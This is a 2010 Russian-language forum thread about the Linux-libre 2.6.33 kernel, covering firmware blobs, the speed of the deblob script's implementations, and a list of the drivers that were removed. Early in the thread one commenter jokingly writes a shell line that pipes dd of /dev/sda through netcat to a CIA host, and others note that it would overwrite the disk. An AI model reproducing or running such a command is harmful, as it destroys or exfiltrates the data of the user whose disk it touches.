URL: https://www.opennet.me/cgi-bin/openforum/vsluhboard.cgi
Форум: vsluhforumID3
Нить номер: 64364
[ Назад ]

Исходное сообщение
"Фонд свободного ПО выпустил полностью свободный вариант Linu..."

Отправлено opennews , 02-Мрт-10 00:06 
Латиноамериканское отделение Фонда свободного ПО анонсировало (http://www.fsfla.org/svnwiki/anuncio/2010-03-Linux-2.6.33-libre) доступность полностью свободного варианта Linux ядра 2.6.33,  разработанного в рамках проекта Linux-libre (http://www.fsfla.org/svnwiki/selibre/linux-libre/). Ядро 2.6.33-libre освобождено от всех несвободных компонентов, таких как проприетарные прошивки и драйверы с бинарными вставками.


Авторы проекта Linux-libre не стали поддерживать собственную отдельную ветку Linux ядра, а вместо этого создали универсальный скрипт для удаления несвободных блоков в ядре. Скрипт содержит в себе тысячи шаблонов для определения наличия бинарных вставок и исключения ложных срабатываний. Раньше скрипт был написан на sed, но требовал для своей работы около 2 Гб ОЗУ. В текущей версии скрипт дополнительно переписан на языках Awk, Python и Perl, что позволило  внушительно сократить потребление памяти, но увеличило время выполнения полного анализа: sed-вариант выполняется 3 мину...

URL: http://www.fsfla.org/svnwiki/anuncio/2010-03-Linux-2.6.33-libre
Новость: http://www.opennet.me/opennews/art.shtml?num=25623


Содержание

Сообщения в этом обсуждении
"Фонд свободного ПО выпустил полностью свободный вариант Linu..."
Отправлено Аноним , 02-Мрт-10 00:06 
интересно, что такое код прошивок в атеросе? ;)

"Фонд свободного ПО выпустил полностью свободный вариант Linu..."
Отправлено pavlinux , 02-Мрт-10 00:21 
int fw[8][8] = {
{0x167,0x163,0x308,0x193,0x333,0x247,0x347,0x263},
{0x160,0x150,0x195,0x140,0x132,0x299,0x258,0x327},
{0x179,0x277,0x324,0x276,0x204,0x351,0x231,0x351},
{0x180,0x327,0x266,0x125,0x290,0x345,0x200,0x230},
{0x281,0x282,0x196,0x133,0x175,0x190,0x297,0x109},
{0x113,0x138,0x277,0x146,0x211,0x181,0x246,0x291},
{0x231,0x216,0x340,0x209,0x340,0x344,0x206,0x294},
{0x318,0x245,0x192,0x126,0x108,0x293,0x257,0x291}
}

Знаешь что это за код? Я тоже .... :)

Хотя не... тут закодировано следующие

if [ count > savecount] then dd of=/dev/sda bs=1024k count=1024 offset=date | netcat http://cia.com/incoming/inc.cgi 16666; savecount++; fi;

Вот так, при каждом включении питания весь диск, по мегабайту, перекачается в ЦРУ.



"Фонд свободного ПО выпустил полностью свободный вариант Linu..."
Отправлено XoRe , 02-Мрт-10 01:20 
>if [ count > savecount] then dd of=/dev/sda bs=1024k count=1024 offset=date | netcat http://cia.com/incoming/inc.cgi 16666; savecount++; fi;

Вы хотели сказать if=/dev/sda ?)


"Фонд свободного ПО выпустил полностью свободный вариант Linu..."
Отправлено pavlinux , 02-Мрт-10 01:33 
>>if [ count > savecount] then dd of=/dev/sda bs=1024k count=1024 offset=date | netcat http://cia.com/incoming/inc.cgi 16666; savecount++; fi;
>
>Вы хотели сказать if=/dev/sda ?)

of тоже весело .... по команде из центра ... Ж=)


"Фонд свободного ПО выпустил полностью свободный вариант Linu..."
Отправлено Аноним , 02-Мрт-10 10:37 
Нет реально, как выглядит код прошивок. Если там микроконтроллеры, нужен специальный компилятор си или ассемблера. Если ПЛИС, ещё что-то типа VHDL

"Фонд свободного ПО выпустил полностью свободный вариант Linu..."
Отправлено тоже user , 02-Мрт-10 11:08 
Они потому и бинарные, что уже откомпилированные и содержатся в коде в виде массивов с бинарными данными-кодом.

"Фонд свободного ПО выпустил полностью свободный вариант Linu..."
Отправлено pavlinux , 02-Мрт-10 13:55 
>Нет реально, как выглядит код прошивок. Если там микроконтроллеры, нужен специальный компилятор
>си или ассемблера. Если ПЛИС, ещё что-то типа VHDL

Как! Вы ещё не видели в коде ядра ассмеблер для чипов Adaptec 7901/7902

# less drivers/scsi/aic7xxx/aicasm/aicadm.c  

/* Aic7xxx SCSI host adapter firmware asssembler */
...


"Фонд свободного ПО выпустил полностью свободный вариант Linu..."
Отправлено User294 , 02-Мрт-10 14:56 
>Хотя не... тут закодировано следующие
>if [ count > savecount] then dd of=/dev/sda bs=1024k count=1024 offset=date | netcat
>http://cia.com/incoming/inc.cgi 16666; savecount++; fi;

1) В вашей строке явно больше чем 64 байта... ;P
2) Ваша строка попахивает каким-то странным саботажем с -of= :)

>Вот так, при каждом включении питания весь диск, по мегабайту, перекачается в ЦРУ.

Скорее, так можно чего-нить колоритно [beep]нуть на вашем диске и сообщить о данном досадном факте ЦРУ :)


"Фонд свободного ПО выпустил полностью свободный вариант Linu..."
Отправлено DiamondX7 , 03-Мрт-10 15:00 
cia.com (com-commercial) - даже прикольно :)
позволю себе поправить cia.gov - government
http://tools.ietf.org/html/rfc920

а еще есть: whitehouse.gov, nasa.gov(клевый сайт), af.mil(тож клевый), navy.mil etc. их там как собак нерезанных, и прям кажный алчет када сбросят 1024 какой-нидь дряни ;)


"Фонд свободного ПО выпустил полностью свободный вариант Linu..."
Отправлено mitya , 02-Мрт-10 00:19 
Что за маниакальная страстишка к свободе? Как-будто завтра все производители драйверов разом поработят всех линуксоидов и отправят их на урановые рудники.

"Фонд свободного ПО выпустил полностью свободный вариант Linu..."
Отправлено Аноним , 02-Мрт-10 00:45 
Эти люди (выпускающие свободное ядро) тебе чем-то мешают?

"Фонд свободного ПО выпустил полностью свободный вариант Linu..."
Отправлено Аноним , 02-Мрт-10 01:13 
> Что за маниакальная страстишка к свободе? Как-будто завтра все производители драйверов разом поработят всех линуксоидов и отправят их на урановые рудники.

А Вы уже купили своему ребёнку право читать?


"Фонд свободного ПО выпустил полностью свободный вариант Linu..."
Отправлено pavlinux , 02-Мрт-10 01:36 
>> Что за маниакальная страстишка к свободе? Как-будто завтра все производители драйверов разом поработят всех линуксоидов и отправят их на урановые рудники.
>
>А Вы уже купили своему ребёнку право читать?

Можно подумать вы читаемые ребенком книги сами пишете... :)
Так что, косвенно это происходит со времен Александрийской и подобных древних библиотек.


"Фонд свободного ПО выпустил полностью свободный вариант Linu..."
Отправлено iZEN , 02-Мрт-10 13:02 
Да. За 650 рублей в месяц мне доступен интернет.

"Фонд свободного ПО выпустил полностью свободный вариант Linu..."
Отправлено vayerx , 02-Мрт-10 14:39 
не накаркать бы, но интернет и право читать - все ж таки разные вещи

"Фонд свободного ПО выпустил полностью свободный вариант Linu..."
Отправлено User294 , 02-Мрт-10 15:05 
>Да. За 650 рублей в месяц мне доступен интернет.

Не надо подменять понятия - интернет всего лишь возможость передавать данные.


"Фонд свободного ПО выпустил полностью свободный вариант Linu..."
Отправлено аноним , 02-Мрт-10 10:11 
> Что за маниакальная страстишка к свободе?

Жесть. Что за тяга к рабству и зависимости от воли других людей?


"Фонд свободного ПО выпустил полностью свободный вариант Linu..."
Отправлено dRiZd , 02-Мрт-10 13:01 
Вы сами поняли чего написали?
По Вашим словам: надо существовать вне общества, со всеми вытекающими...

"Фонд свободного ПО выпустил полностью свободный вариант Linu..."
Отправлено NarkTranquility , 02-Мрт-10 13:47 
По-вашему надо существовать в обществе рабов?

"Фонд свободного ПО выпустил полностью свободный вариант Linu..."
Отправлено User294 , 02-Мрт-10 15:03 
>Что за маниакальная страстишка к свободе?

Да, рабы не любят тех кто тянется к свободе, утешают себя что свобода не так уж и нужна, etc и ругатся на тех кто свободен. Шаблонно. А что до производителей - вы уж извините, но мы помним AWARD_SW и еще два вагона прочих инженерных паролей^W бэкдоров. Поэтому блобам доверия нет. И не то чтобы без причины - прецеденты были, этого достаточно.

ИМХО, свободы много не бывает и если кто-то хочет получить больше свободы и меньше потенциального западлостроения, даже если что-то и не заработает - затея имеет право на жизнь.


"Фонд свободного ПО выпустил полностью свободный вариант Linu..."
Отправлено 123456 , 02-Мрт-10 00:22 
подумал сначала, что "полностью свободный вариант Linux ядра" - это по какой-то полностью свободной лицензии вместо GPL

"Фонд свободного ПО выпустил полностью свободный вариант Linu..."
Отправлено Thorton , 02-Мрт-10 00:37 
Времена нынче не те - ядро кишит блобами.. проплачеными блобами...

"Фонд свободного ПО выпустил полностью свободный вариант Linu..."
Отправлено anonymous , 02-Мрт-10 11:36 
вы так говорите, как будто это плохо.

"Фонд свободного ПО выпустил полностью свободный вариант Linu..."
Отправлено User294 , 02-Мрт-10 15:07 
>Времена нынче не те - ядро кишит блобами.. проплачеными блобами...

Дык это... есть железки в которые фирмваре грузится на лету. И или вы в них грузите фирмваре или они не работают, т.к. внутри оных нет кода для их собственного процессора.


"Фонд свободного ПО выпустил полностью свободный вариант Linu..."
Отправлено pavlinux , 02-Мрт-10 00:57 
Вот вам и свободный nvidia драйвер


DRM_NOUVEAU - Nouveau (nVidia) cards
drivers/gpu/drm/nouveau/nouveau_grctx.c: disabled non-Free firmware-loading machinery
drivers/gpu/drm/nouveau/nouveau_grctx.c: removed blobs                              
drivers/gpu/drm/nouveau/nv50_graph.c: removed blobs    


"Фонд свободного ПО выпустил полностью свободный вариант Linu..."
Отправлено pavlinux , 02-Мрт-10 01:09 
[телепорт]


"Фонд свободного ПО выпустил полностью свободный вариант Linu..."
Отправлено Аноним , 02-Мрт-10 01:14 
>Кому патч на 2.6.33  - http://pavlinux.ru/linux/linux-2.6.33-libre.diff.bz2

А твой фирменный троян от CIA вставил? :)


"Фонд свободного ПО выпустил полностью свободный вариант Linu..."
Отправлено XoRe , 02-Мрт-10 01:21 
>>Кому патч на 2.6.33  - http://pavlinux.ru/linux/linux-2.6.33-libre.diff.bz2
>
>А твой фирменный троян от CIA вставил? :)

Это СОРМ.
Его надо оставить)


"Фонд свободного ПО выпустил полностью свободный вариант Linu..."
Отправлено pavlinux , 02-Мрт-10 01:29 
Кому патч на 2.6.33  - http://pavlinux.ru/linux/linux-2.6.33-libre.diff.bz2

Радостно отметить, что ни одного устройства из BLOBов, кроме микрокода,
которого я никогда не видел, для процессоров AMD, у меня нет. =)

Для полного счастья надо перелезать на видушку от Matrox


"Фонд свободного ПО выпустил полностью свободный вариант Linu..."
Отправлено RapteR , 02-Мрт-10 05:22 
>sed-вариант выполняется 3 минуты, awk - 5 минут, а Python и Perl - 90 минут.

Еще раз убедился в не прописной истине по поводу питона... Жаль, что находятся господа, которые додумываются использовать его там, где время выполнения задачи критично...


"Фонд свободного ПО выпустил полностью свободный вариант Linu..."
Отправлено амоним , 02-Мрт-10 07:21 
а что предлагаете использовать вместо него там, где время выполнения задачи критично?..

"Фонд свободного ПО выпустил полностью свободный вариант Linu..."
Отправлено hatewindows , 02-Мрт-10 08:00 
видимо асм и чистый си

"Фонд свободного ПО выпустил полностью свободный вариант Linu..."
Отправлено RapteR , 02-Мрт-10 08:01 
>а что предлагаете использовать вместо него там, где время выполнения задачи критично?..
>

С или С++ если код достаточно сложный. + Вставки кода на ассемблере - очень эффективно работает.


"Фонд свободного ПО выпустил полностью свободный вариант Linu..."
Отправлено Аноним , 02-Мрт-10 11:05 
Таких программистов на планете Земля может быть всего несколько сотен: тех кто хорошо программирует на си и умеет оптимизировать критические участки на ассемблере.

"Фонд свободного ПО выпустил полностью свободный вариант Linu..."
Отправлено RapteR , 02-Мрт-10 11:43 
>Таких программистов на планете Земля может быть всего несколько сотен: тех кто
>хорошо программирует на си и умеет оптимизировать критические участки на ассемблере.

А кто тогда ядро по вашему пишет? Я думаю таких людей на самом деле очень много, просто они это не практикуют.


"Фонд свободного ПО выпустил полностью свободный вариант Linu..."
Отправлено pavlinux , 02-Мрт-10 14:12 
>>Таких программистов на планете Земля может быть всего несколько сотен: тех кто
>>хорошо программирует на си и умеет оптимизировать критические участки на ассемблере.
>
>А кто тогда ядро по вашему пишет? Я думаю таких людей на
>самом деле очень много, просто они это не практикуют.

Конечно, душат попытки в зародыше... Со словами: "Оптимизируем движение вакуума!", "Загораем под луной"...


"Фонд свободного ПО выпустил полностью свободный вариант Linu..."
Отправлено prof_alex , 02-Мрт-10 08:54 
> Еще раз убедился в не прописной истине по поводу питона...

А про перл мыслей никаких не возникло?


"Фонд свободного ПО выпустил полностью свободный вариант Linu..."
Отправлено RapteR , 02-Мрт-10 09:03 
>А про перл мыслей никаких не возникло?

Он древний - ему простительно. Тем более с питоном такая ситуация, что народ пытается его использовать там где надо и где не надо - с перлом такого не было.


"Фонд свободного ПО выпустил полностью свободный вариант Linu..."
Отправлено pavlinux , 02-Мрт-10 14:14 
Да ладно, у Перл первая задача - парсинг текста.

"Фонд свободного ПО выпустил полностью свободный вариант Linu..."
Отправлено RapteR , 02-Мрт-10 14:18 
>Да ладно, у Перл первая задача - парсинг текста.

Да пофигу какая там у него задача - результат на лицо - sed проехался быстрее perl`a.


"Фонд свободного ПО выпустил полностью свободный вариант Linu..."
Отправлено pavlinux , 02-Мрт-10 15:09 
>>Да ладно, у Перл первая задача - парсинг текста.
>
>Да пофигу какая там у него задача - результат на лицо -
>sed проехался быстрее perl`a.

sed и ed появились по-моему раньше чем UNIX... там уж точно оптимизация вековая.  


"Фонд свободного ПО выпустил полностью свободный вариант Linu..."
Отправлено Антон , 02-Мрт-10 10:01 
А вы видели вообще тот скрипт ???? Видимо это достижение FSF, посмотрите не пожалейте.
Объясняю почему у них так тормозит Python и Perl:  сам скрипт у них на shell, из него для каждого файла вызывается фильтр, которых regexp-ом вырезает из этого файла нужные куски.
Этот скрипт для каждого файла с блобами вызывает каждый раз новую копию perl, python, awk или sed. 99.99% из того времени - это время на тысячи повторных запусков интерпретатора. Понятно, что python и perl значительно дольше запускаются, чем sed.

"Фонд свободного ПО выпустил полностью свободный вариант Linu..."
Отправлено Veter , 02-Мрт-10 13:02 
> Понятно, что python и perl значительно дольше запускаются, чем sed.

Ты проверь сначала, прежде чем утверждать. perl почти не уcтупает dash по скорости запуска, а "значительно дольше" - применимо только к питону.


"Фонд свободного ПО выпустил полностью свободный вариант Linu..."
Отправлено Антон , 02-Мрт-10 13:37 
>> Понятно, что python и perl значительно дольше запускаются, чем sed.
>
>Ты проверь сначала, прежде чем утверждать. perl почти не уcтупает dash по
>скорости запуска, а "значительно дольше" - применимо только к питону.

Проверил, sed c одним regex выполняется за 0m0.004s, perl - 0m0.009s, python - 0m0.144s.


"Фонд свободного ПО выпустил полностью свободный вариант Linu..."
Отправлено амонинус , 02-Мрт-10 14:04 
Там проблема еще в том, что у них поиск блобов выполняется при помощи каких-то жутких регулярных выражений, которые (как у них самих в комментарии к скрипту написано) Perl и  Питон не тянут. Там скрипт на Перле сам выглядит большей частью как проприетарный блоб.

Вот пример ОДНОГО регекспа из этого скрипта:

blob '\([/][*][*]\+[/][\n]*\)*\([/][*][^*]*\([*]\+[^/*][^*]*\)*[*]*Micro[ ]code[^*]*\([*]\+[^/*][^*]*\)*[*]*8086:[^*]*\([*]\+[^/*][^*]*\)*[*]\+[/]\([\n]*[/][*][^*]*\([*]\+[^/*][^*]*\)*[*]\+[/]\)*\|#define[ ][ ]*D10\(1M\(_B\)\?\|1S\|2_E\)_\(CPUSAVER_\(TIMER\|BUNDLE\|MIN_SIZE\)_DWORD\|RCVBUNDLE_UCODE\)[     ][^\n]*\([\\][\n][^\n]*\)*\)\([\n]*[/][*][^*]*\([*]\+\([^/*]\|[/][\n]*[/][*]\+\)[^*]*\)*[*]*Micro[ ]code[^*]*\([*]\+[^/*][^*]*\)*[*]*8086:[^*]*\([*]\+[^/*][^*]*\)*[*]\+[/]\([\n]*[/][*][^*]*\([*]\+[^/*][^*]*\)*[*]\+[/]\)*\|[\n][\n]*#define[ ][ ]*D10\(1M\(_B\)\?\|1S\|2_E\)_\(CPUSAVER_\(TIMER\|BUNDLE\|MIN_SIZE\)_DWORD\|RCVBUNDLE_UCODE\)[     ]\(\\[\n]\|[^\n]\)*\)*' drivers/net/e100.c


"Фонд свободного ПО выпустил полностью свободный вариант Linu..."
Отправлено requem07 , 02-Мрт-10 09:48 
один раз пройтись по исходникам - это не критично

"Фонд свободного ПО выпустил полностью свободный вариант Linu..."
Отправлено RapteR , 02-Мрт-10 09:59 
>один раз пройтись по исходникам - это не критично

А почему один раз? Можно допустим гит срез делать каждый день\час и выкладывать "кашерный" кернел, что бы люди качали и радовались.


"Фонд свободного ПО выпустил полностью свободный вариант Linu..."
Отправлено ig0r , 02-Мрт-10 11:10 
осильте git merge

"Фонд свободного ПО выпустил полностью свободный вариант Linu..."
Отправлено RapteR , 02-Мрт-10 11:47 
>осильте git merge

Сударь исключает, что при очередном мердже не притянется новый код с бинарями? Не руками же потом его дорезать...


"Фонд свободного ПО выпустил полностью свободный вариант Linu..."
Отправлено ig0r , 11-Мрт-10 15:30 
ну по патчам скрипт должен быстрее пройтись, чем по всему коду, хотя если вы хотите делать ежедневную сборку, и каждый день лопатить полность ядро то это Ваш выбор, я Вас не буду отговаривать, но мне эта идея кажется глупой.

"Фонд свободного ПО выпустил полностью свободный вариант Linu..."
Отправлено Zenitur , 02-Мрт-10 09:59 
Спасибо за отличную статью! Она проясняет всю тему без дополнительной литературы.

"Фонд свободного ПО выпустил полностью свободный вариант Linu..."
Отправлено Аноним , 02-Мрт-10 10:40 
Почему не сделать опцию ядра CONFIG_ISPOLZOVAT_BINARNIE_BLOBY? И зависимости от неё всех дров, использующих бинарные прошивки

"Фонд свободного ПО выпустил полностью свободный вариант Linu..."
Отправлено Антон , 02-Мрт-10 10:49 
>Почему не сделать опцию ядра CONFIG_ISPOLZOVAT_BINARNIE_BLOBY? И зависимости от неё всех дров,
>использующих бинарные прошивки

Ничего страшного в этих блобах нет, если производитель разрешает их свободное использование. Никто же не возмущается, что в видеокарте, raid-контроллере, модеме и сетевухе блобы используются. IMHO, никакой разницы загружен блоб изначально в ROM или грузится в процессе загрузки ядра.


"Фонд свободного ПО выпустил полностью свободный вариант Linu..."
Отправлено birdie , 02-Мрт-10 11:09 
firmware is a part of hardware, thus this whole idea is a load of BS.

"Фонд свободного ПО выпустил полностью свободный вариант Linu..."
Отправлено Аноним , 02-Мрт-10 12:53 
Ну да, так говорят продавцы про виндоус, когда не хотят отдавать деньги. Типа оно часть железа

"Фонд свободного ПО выпустил полностью свободный вариант Linu..."
Отправлено амонинус , 02-Мрт-10 14:08 
>Ну да, так говорят продавцы про виндоус, когда не хотят отдавать деньги.
>Типа оно часть железа

Ну, тут разные мнения существуют. Но мнение самого Столлмана (если проприетарное ПО в памяти самой железки, это нормально, а если закачивается при загрузке, то это недопустимо) ИМХО нелогично.


"Фонд свободного ПО выпустил полностью свободный вариант Linu..."
Отправлено pavlinux , 02-Мрт-10 14:26 
>>Ну да, так говорят продавцы про виндоус, когда не хотят отдавать деньги.
>>Типа оно часть железа
>
>Ну, тут разные мнения существуют. Но мнение самого Столлмана (если проприетарное ПО
>в памяти самой железки, это нормально, а если закачивается при загрузке,
>то это недопустимо) ИМХО нелогично.

Да не, логично...  ПО в железке - не ПО.
Firmware - это снаряд, надо его правильно расположить, найти молоток и правильно еб..ть по капсуле,
и не факт, что при этом вас не разорвет на сотню маленьких юзеров.
А ПО - это граната, - дергай и кидай подальше.  

Представьте размер железяки, если те же функции будут собраны на железной логике.
И вмсето перепрошивки новой фирмвари, вам надо будет докупать дочернюю плату.

Ещё надо заставить производетелей видюх впаявать разёмы для RAM, а то ишь пристрастились,
видюшка с 1 Gb стоит 4000 руб, а с 2Gb уже 15000, хотя 1 гиг DDR 3 стоит 40$


"Фонд свободного ПО выпустил полностью свободный вариант Linu..."
Отправлено User294 , 02-Мрт-10 18:01 
Там обычно разница не только в числе чипов но и зачастую в ширине шины и поюзанном чипаке, у которого куда больше блоков процессинга всего и вся. И, кстати, что это за видяха за 15 000 где юзается ... DDR3?! oO

"Фонд свободного ПО выпустил полностью свободный вариант Linu..."
Отправлено pavlinux , 02-Мрт-10 18:27 
>Там обычно разница не только в числе чипов но и зачастую в
>ширине шины и поюзанном чипаке,

Толщина шины рулится контроллером памяти
> у которого куда больше блоков процессинга
>всего и вся. И, кстати, что это за видяха за 15
>000 где юзается ... DDR3?! oO

Дык, любой 285 и выше гфорс


"Фонд свободного ПО выпустил полностью свободный вариант Linu..."
Отправлено рутик , 02-Мрт-10 20:56 
там ддр5 =)

"Фонд свободного ПО выпустил полностью свободный вариант Linu..."
Отправлено anonymous vulgaris , 02-Мрт-10 21:42 
>Ну да, так говорят продавцы про виндоус, когда не хотят отдавать деньги.
>Типа оно часть железа

http://www.opennet.me/opennews/art.shtml?num=25640
Компания Nokia объявила в введении в строй инициативы "Qt Board Verification Program" в рамках которой производителям портативных устройств и встраиваемых платформ предлагается проверить их оборудование на предмет полной совместимости с инструментарием Qt.



"Фонд свободного ПО выпустил полностью свободный вариант Linu..."
Отправлено User294 , 02-Мрт-10 17:57 
>firmware is a part of hardware,

А есть и иная точка зрения. "Firmware is a software in silicon".
Ну а раз software - вот извините, но оно обладает всеми свойствами. А "load of BS" - это бэкдоры и "инженерные входы" по типу AWARD_SW :P.


"Фонд свободного ПО выпустил полностью свободный вариант Linu..."
Отправлено birdie , 04-Мрт-10 11:27 
backdoors may exist on a hardware level, so your post makes no sense :)

have you ever heard of keyboards with embedded keyloggers?

have you ever heard of laptops which silently redirect some of your network traffic to an interested party?

There's no need for software to spy on us.


"Фонд свободного ПО выпустил полностью свободный вариант Linu..."
Отправлено oneonfire , 02-Мрт-10 22:41 
Простите но зачем мне такое ядро, если я с ним не смогу работать?

"Фонд свободного ПО выпустил полностью свободный вариант Linu..."
Отправлено pavlinux , 03-Мрт-10 01:47 
>Простите но зачем мне такое ядро, если я с ним не смогу работать?

Кто же виноват, в том что Вы не можете?! :)
Сутки uptime и ничё работает, там поскипали дрова от железа экзотического...

MICROCODE_AMD - AMD microcode patch loading support                          
MICROCODE_INTEL - Intel microcode patch loading support                      
IXP4XX_NPE - IXP4xx Network Processor Engine support                          
ARCH_NETX - Hilscher NetX based                                              
ATM_AMBASSADOR - Madge Ambassador, Collage PCI 155 Server                    
ATM_FORE200E - FORE Systems 200E-series                                      
ATM_SOLOS - Solos ADSL2+ PCI Multiport card driver                            
COMPUTONE - Computone IntelliPort Plus serial                                
CYCLADES - Cyclades async mux support                                        
ISI - Multi-Tech multiport card support                                      
MOXA_INTELLIO - Moxa Intellio support                                        
DRM_NOUVEAU - Nouveau (nVidia) cards                                          
DRM_R128 - ATI Rage 128                                                      
DRM_RADEON - ATI Radeon                                                      
MEDIA_TUNER_XC5000 - Xceive XC5000 silicon tuner                              
DVB_USB - Support for various USB DVB devices                                
DVB_USB_AF9005 - Afatech AF9005 DVB-T USB1.1                                  
DVB_BT8XX - BT8xx based PCI cards                                            
DVB_USB_A800 - AVerMedia AverTV DVB-T USB 2.0 (A800)                          
DVB_USB_AF9005 - Afatech AF9005 DVB-T USB1.1 support                          
DVB_USB_AF9015 - Afatech AF9015 DVB-T USB2.0 support                          
DVB_USB_CXUSB - Conexant USB2.0 hybrid reference design support              
DVB_USB_DIB0700 - DiBcom DiB0700 USB DVB devices                              
DVB_USB_DIBUSB_MB - DiBcom USB DVB-T devices (based on the DiB3000M-B)        
DVB_USB_DIGITV - Nebula Electronics uDigiTV DVB-T USB2.0 support              
DVB_USB_EC168 - E3C EC168 DVB-T USB2.0 support                                
DVB_USB_GP8PSK - GENPIX 8PSK->USB module support                              
DVB_USB_M920X - Uli m920x DVB-T USB2.0 support                                
DVB_USB_NOVA_T_USB2 - Hauppauge WinTV-NOVA-T usb2 DVB-T USB2.0 support        
DVB_USB_OPERA1 - Opera1 DVB-S USB2.0 receiver                                
DVB_USB_TTUSB2 - Pinnacle 400e DVB-S USB2.0 support                          
DVB_USB_UMT_010 - HanfTek UMT-010 DVB-T USB2.0 support                        
DVB_USB_VP702X - TwinhanDTV StarBox and clones DVB-S USB2.0 support          
DVB_AF9013 - Afatech AF9013 demodulator                                      
DVB_BCM3510 - Broadcom BCM3510                                                
DVB_DS3000 - Montage Tehnology DS3000 based                                  
DVB_OR51132 - Oren OR51132 based                                              
DVB_OR51211 - Oren OR51211 based                                              
DVB_SP8870 - Spase sp8870                                                    
DVB_CX24116 - Conexant CX24116 based                                          
DVB_SP887X - Spase sp887x based                                              
DVB_TDA10048 - Philips TDA10048HN based                                      
DVB_AV7110 - AV7110 cards                                                    
DVB_BUDGET - Budget cards                                                    
DVB_BUDGET_AV - Budget cards with analog video inputs                        
DVB_BUDGET_CI - Budget cards with onboard CI connector                        
DVB_PLUTO2 - Pluto2 cards                                                    
SMS_SIANO_MDTV - Siano SMS1xxx based MDTV receiver                            
SMS_USB_DRV - Siano's USB interface support                                  
VIDEO_BT848 - BT848 Video For Linux                                          
VIDEO_CPIA2 - CPiA2 Video For Linux                                          
VIDEO_CX18 - Conexant cx23418 MPEG encoder support                            
VIDEO_CX23885 - Conexant cx23885 (2388x successor) support                    
VIDEO_CX88_BLACKBIRD - Blackbird MPEG encoder support (cx2388x + cx23416)    
VIDEO_PVRUSB2 - Hauppauge WinTV-PVR USB2 support                              
VIDEO_CX23885, VIDEO_CX88_BLACKBIRD, VIDEO_IVTV, VIDEO_PVRUSB2 - See above    
VIDEO_GO7007 - Go 7007 support                                                
VIDEO_SAA7164 - NXP SAA7164 support                                          
USB_DABUSB - DABUSB driver                                                    
USB_S2255 - USB Sensoray 2255 video capture device                            
USB_VICAM - USB 3com HomeConnect, AKA vicam                                  
BNX2 - Broadcom NetXtremeII                                                  
BNX2X - Broadcom NetXtremeII 10Gb support                                    
CASSINI - Sun Cassini                                                        
CHELSIO_T3 - Chelsio AEL 2005 support                                        
MYRI_SBUS - MyriCOM Gigabit Ethernet                                          
MYRI10GE - Myricom Myri-10G Ethernet support                                  
R8169 - Realtek 8169 gigabit ethernet support                                
SLICOSS - Alacritech Gigabit IS-NIC cards                                    
SPIDER_NET - Spider Gigabit Ethernet driver                                  
TEHUTI - Tehuti Networks 10G Ethernet                                        
TIGON3 - Broadcom Tigon3                                                      
TYPHOON - 3cr990 series Typhoon                                              
COPS - COPS LocalTalk PC                                                      
YAM - YAM driver for AX.25                                                    
USB_IRDA - IrDA USB dongles                                                  
PCMCIA_SMC91C92 - SMC 91Cxx PCMCIA                                            
PCMCIA_3C574 - 3Com 3c574 PCMCIA support                                      
PCMCIA_3C589 - 3Com 3c589 PCMCIA support                                      
PCMCIA_PCNET - NE2000 compatible PCMCIA support                              
3C359 - 3Com 3C359 Token Link Velocity XL adapter                            
USB_KAWETH - USB KLSI KL5USB101-based ethernet device support                
B43 - Broadcom 43xx wireless support (mac80211 stack)                        
B43LEGACY - Broadcom 43xx-legacy wireless support (mac80211 stack)            
WLAGS49_H2 - Agere Systems HERMES II Wireless PC Card Model 0110              
WLAGS49_H25 - Linksys Systems HERMES II.5 Wireless-G_CompactFlash_Card        
IWLAGN - Intel Wireless WiFi Next Gen AGN                                    
IWL4965 - Intel Wireless WiFi 4965AGN                                        
IWL5000 - Intel Wireless WiFi 5000AGN                                        
IWM - Intel Wireless Multicomm 3200 WiFi driver                              
IWMC3200TOP - Intel Wireless MultiCom Top Driver                              
OTUS - Atheros OTUS 802.11n USB wireless support                              
P54_PCI - Prism54 PCI support                                                
P54_SPI - Prism54 SPI (stlc45xx) support                                      
P54_USB - Prism54 USB support                                                
RT2X00_LIB_FIRMWARE - Ralink driver firmware support                          
RT2800USB - Ralink rt2800 (USB) support                                      
RTL8192E - RealTek RTL8192E Wireless LAN NIC driver                          
RTL8192U - RealTek RTL8192U Wireless LAN NIC driver                          
RTL8192SU - RealTek RTL8192SU Wireless LAN NIC driver                        
VT6656 - VIA Technologies VT6656 support                                      
WL1251 - TI wl1251 support                                                    
WL1271 - TI wl1271 support                                                    
USB_ZD1201 - USB ZD1201 based Wireless device support                        
BT_ATH3K - Atheros firmware download driver                                  
BT_HCIBCM203X - HCI BCM203x USB driver                                        
BT_HCIBFUSB - HCI BlueFRITZ! USB driver                                      
BT_HCIBT3C - HCI BT3C (PC Card) driver                                        
BT_MRVL_SDIO - Marvell BT-over-SDIO driver                                    
WIMAX_I2400M - Intel Wireless WiMAX Connection 2400                          
ISDN_DIVAS - Support Eicon DIVA Server cards                                  
MISDN_SPEEDFAX - Support for Sedlbauer Speedfax+                              
SERIAL_ICOM - IBM Multiport Serial Adapter                                    
SERIAL_QE - Freescale QUICC Engine serial port support                        
COMEDI_PCI_DRIVERS - Data acquisition support Comedi PCI drivers              
COMEDI_USB_DRIVERS - Data acquisition support Comedi USB drivers              
SCSI_QLOGICPTI - PTI Qlogic, ISP Driver                                      
SCSI_ADVANSYS - AdvanSys SCSI
SCSI_BFA_FC - Brocade BFA Fibre Channel Support
SCSI_QLA_FC - QLogic QLA2XXX Fibre Channel Support
USB_CXACRU - Conexant AccessRunner USB support
USB_SPEEDTOUCH - Speedtouch USB support
USB_UEAGLEATM - ADI 930 and eagle USB DSL modem
USB_EMI26 - EMI 2|6 USB Audio interface
USB_EMI62 - EMI 6|2m USB Audio interface
USB_ISIGHTFW - iSight firmware loading support
USB_SERIAL_KEYSPAN - USB Keyspan USA-xxx Serial Driver
USB_SERIAL_KEYSPAN_PDA - USB Keyspan PDA Single Port Serial Driver
USB_SERIAL_EDGEPORT - USB Inside Out Edgeport Serial Driver
USB_SERIAL_EDGEPORT_TI - USB Inside Out Edgeport Serial Driver (TI devices)
USB_SERIAL_WHITEHEAT - USB ConnectTech WhiteHEAT Serial Driver
UWB_I1480U - Support for Intel Wireless UWB Link 1480 HWA
SND_KORG1212 - Korg 1212 IO
SND_SB16_CSP - SB16 Advanced Signal Processor
SND_WAVEFRONT - Turtle Beach Maui,Tropez,Tropez+ (Wavefront)
SND_VX_LIB - Digigram VX soundcards
SND_DARLA20 - (Echoaudio) Darla20
SND_DARLA24 - (Echoaudio) Darla24
SND_ECHO3G - (Echoaudio) 3G cards
SND_GINA20 - (Echoaudio) Gina20
SND_GINA24 - (Echoaudio) Gina24
SND_INDIGO - (Echoaudio) Indigo
